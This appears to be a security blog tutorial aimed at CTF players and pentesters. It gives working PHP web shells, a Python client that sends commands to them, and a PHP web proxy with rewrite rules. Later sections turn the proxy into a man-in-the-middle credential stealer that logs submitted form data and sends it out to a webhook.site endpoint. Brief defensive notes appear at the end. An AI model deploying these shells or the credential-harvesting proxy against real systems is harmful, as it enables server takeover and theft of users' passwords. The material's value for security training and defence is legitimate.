In this post, both concepts and practical exercises are provided to help consolidate valuable knowledge for attackers and defenders.

Feel free to build upon the following tools for CTF Competitions or Pentest Campaigns.


WEB SHELLS

Web Shells are scripts that allow an attacker to execute commands on a remote web server and establish persistence. They are typically deployed by exploiting vulnerabilities in an existing web application. Once installed, an attacker can upload or download files, escalate privileges, and more.

A web shell can exist as a standalone file, as a poisoned file within the existing application, or by exploiting original code that does not properly sanitize variables. The scripting language depends on what is enabled on the web server. For example, servers running popular frameworks such as WordPress, Drupal, or Laravel almost certainly run PHP, while a server fingerprinted as Microsoft IIS will likely run ASP, though it is not limited to that.


HANDS-ON EXERCISE

  • Classic
<?php echo shell_exec($_GET["cmd"]); ?>
  • China Chopper
<?php @eval($_POST['cmd']); ?>

Note: in both examples above, the variable cmd is executed with no sanitization.


BASIC EXPLOITATION

  • Using the browser, navigate to: http://server.address/?cmd=whoami
  • Using curl, type: curl "http://server.address/?cmd=whoami"

BASIC CLIENT HANDLER

#!/usr/bin/env python3

import sys
import requests

if len(sys.argv) > 1:
    url = sys.argv[1]
else:
    url = input("Enter the URL of the PHP webshell: ")

while True:
    cmd = input("$ ")
    if cmd == "exit":
        break
    response = requests.get(url, params={"cmd": cmd})
    print(response.text)
chmod +x webshell-client.py
./webshell-client.py http://server.address/path/webshell.php

Note: in the example above, the web shell file is named index.php and was placed at the root of the site (path = /).


WEB SHELL WITH UI

<html><body><form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80"><input type="SUBMIT" value="Execute"></form>

<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); }?></pre></body></html>

USING THE WEB SHELL

  • Navigate to: http://server.address/
  • Enter any command and click Execute.

  • Try the command curl ip.me

Note: in the last command, an HTTP request was issued remotely and proxied back to the attacker’s browser.


WEB PROXY

A Web Proxy, in the context of hacking, fetches external content from a remote server and forwards it to the attacker. It can be used to hide the attacker’s IP from the target, or to pivot into a private network segment.

Here is an example of a minimal Web Proxy.

Create the file index.php with the following content at the root of the Default website (more on this later):

<?php
$url = "https://" . $_SERVER['HTTP_HOST'] . $_GET['url'];

$headers = get_headers($url, true);
foreach ($headers as $name => $value) {
  if (is_string($name) && $name == 'Content-Type') {
    header("$name: $value");
  }
}

echo file_get_contents($url);
?>
  • First block:
    • The script builds the URL from the received Host header (e.g. example.com) and the url argument.
  • Middle block:
    • Before fetching the content, it retrieves only the headers and looks for Content-Type.
    • Setting this header before forwarding content is important; otherwise, images, icons, and non-HTML files will fail to load in the browser.
  • Last block:
    • It fetches the content of the remote URL and forwards it to the attacker.

This attack may not work out of the box. It requires the web server (Apache, NGINX, etc.) to have the Rewrite Module enabled (sudo a2enmod rewrite).

Create the file .htaccess in the same directory with the following content:

RewriteEngine On
RewriteRule !(^$) /?url=%{REQUEST_URI} [R=301,L]
  • The first line enables the Rewrite Engine.
  • The second line redirects all requests with a non-empty URL to the same URL prefixed with /?url=.

Connecting the Links of the Chain

  1. An attacker compromises a web server.
  2. A web shell is uploaded to /var/www/html.
  3. The web server has the Rewrite module enabled.
  4. Alongside the PHP default, the default VHost is still present.
  5. By resolving domains to the compromised server, the attacker can pivot freely.

The attacker can locally resolve any domain to the compromised server. That server will handle requests using the default VHost, fetch the real page, and proxy it to the attacker’s browser as if it were the legitimate server.

All other files that make up the page (images, icons, CSS styles, etc.) will be redirected properly, thanks to the Rewrite module and the .htaccess configuration.

The Web Proxy will handle subsequent requests the same way, continuing to impersonate the original page even as the user follows links (GET).

Many other simple HTTP pages can be proxied with little effort.

IMPORTANT: this Web Proxy script is a proof of concept and is susceptible to leaks via redirects, JavaScript, and other means. It does not guarantee privacy or anonymity.


MAN-IN-THE-MIDDLE

While a web shell is primarily used to establish persistence and take over a server, a web proxy can be used to pivot and attack other servers or users who fall into the trap. See the attack chain:

  1. The victim uses their browser to visit a site.
  2. There are many ways a malicious or compromised device can intercept the traffic:
    1. A rogue access point impersonating a trusted network,
    2. An insecure Wi-Fi at a coffee shop, airport, or hotel,
    3. A malicious VPN or ISP,
    4. Malware or a malicious browser extension,
    5. and the list goes on.
  3. A poisoned DNS resolution directs the user to the wrong server.
  4. The web proxy controlled by the attacker logs all forwarded traffic, including passwords.
  5. The targeted site could contain sensitive information, such as a corporate network, email provider, or bank.

Let’s update index.php to add logging and exfiltration capabilities:

<?php
$url = "https://" . $_SERVER['HTTP_HOST'] . $_GET['url'];

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $logFile = "postData.log";
    $postData = http_build_query($_POST);
    file_put_contents($logFile, $url.' '.urldecode($postData)."\n", FILE_APPEND | LOCK_EX);
    @file_get_contents('https://webhook.site/c2ae5980-e09f-4ab5-8acf-879d7b417a28?' . $postData);
}

$headers = get_headers($url, true);
foreach ($headers as $name => $value) {
    if (is_string($name) && $name == 'Content-Type') {
       header("$name: $value");
    }
}

echo file_get_contents($url);
?>
  • The highlighted block adds the following:
    • It checks whether the request was sent via POST, which typically contains form data such as credentials.
    • It saves the request content to a file called postData.log.
    • It calls an external endpoint to immediately exfiltrate the same data.
    • It then loads the page content as before.
      • Note that the user will never successfully log in or submit a form to the real site. The attacker’s goal is to steal information, and that has been accomplished.

The .htaccess file also needs a small update:

RewriteEngine On

RewriteCond %{REQUEST_METHOD} =GET
RewriteRule !(^$) /?url=%{REQUEST_URI} [R=301,L]

RewriteCond %{REQUEST_METHOD} =POST
RewriteRule !(^$) /?url=%{REQUEST_URI} [R=307,L]

It now checks the method of the incoming request so it can redirect using the same method.

Checking stolen information:

Success!


REFLECTION NOTES

I hope this exercise clarified the fundamentals every defender needs to master in order to mitigate or block these attack vectors.

  • Web Shell
    • It is a post-exploitation tool (e.g. for persistence) that requires the server to be compromised first.
    • A Web Application Firewall (WAF) can help block many of the exploitation methods that enable it.
  • Web Proxy
    • Sometimes the only value of a compromised web server is its use as a proxy to attack other targets.
    • Monitoring network traffic can reveal this type of behavior.
    • Parsing logs for a high volume of requests from a single or small number of clients can help identify the source.
  • Man-In-The-Middle
    • Securing devices and network assets plays a major role in breaking the attack chain.
    • The server used to steal information does not need to be a compromised server on the internet. It could easily be a VM or a computer on the victim’s local or rogue network.

BONUS

  • Web Shell projects:
  • On Kali, list the available web shells:
    • tree /usr/share/webshells/
  • Web Proxy projects:
    • PHPProxy (discontinued) [Link].
    • PHP-Proxy [Link].
    • Glype [Link].
    • PHP Web Proxy [Link].
  • Free open web proxies:
    • Free Proxy [Link].
  • PHP Proxy Server:
    • Socks5-Proxy [Link].
    • ShadowSocks-PHP [Link].
    • PHP-HTTP-Proxy [Link].
    • PHPsocket.io [Link].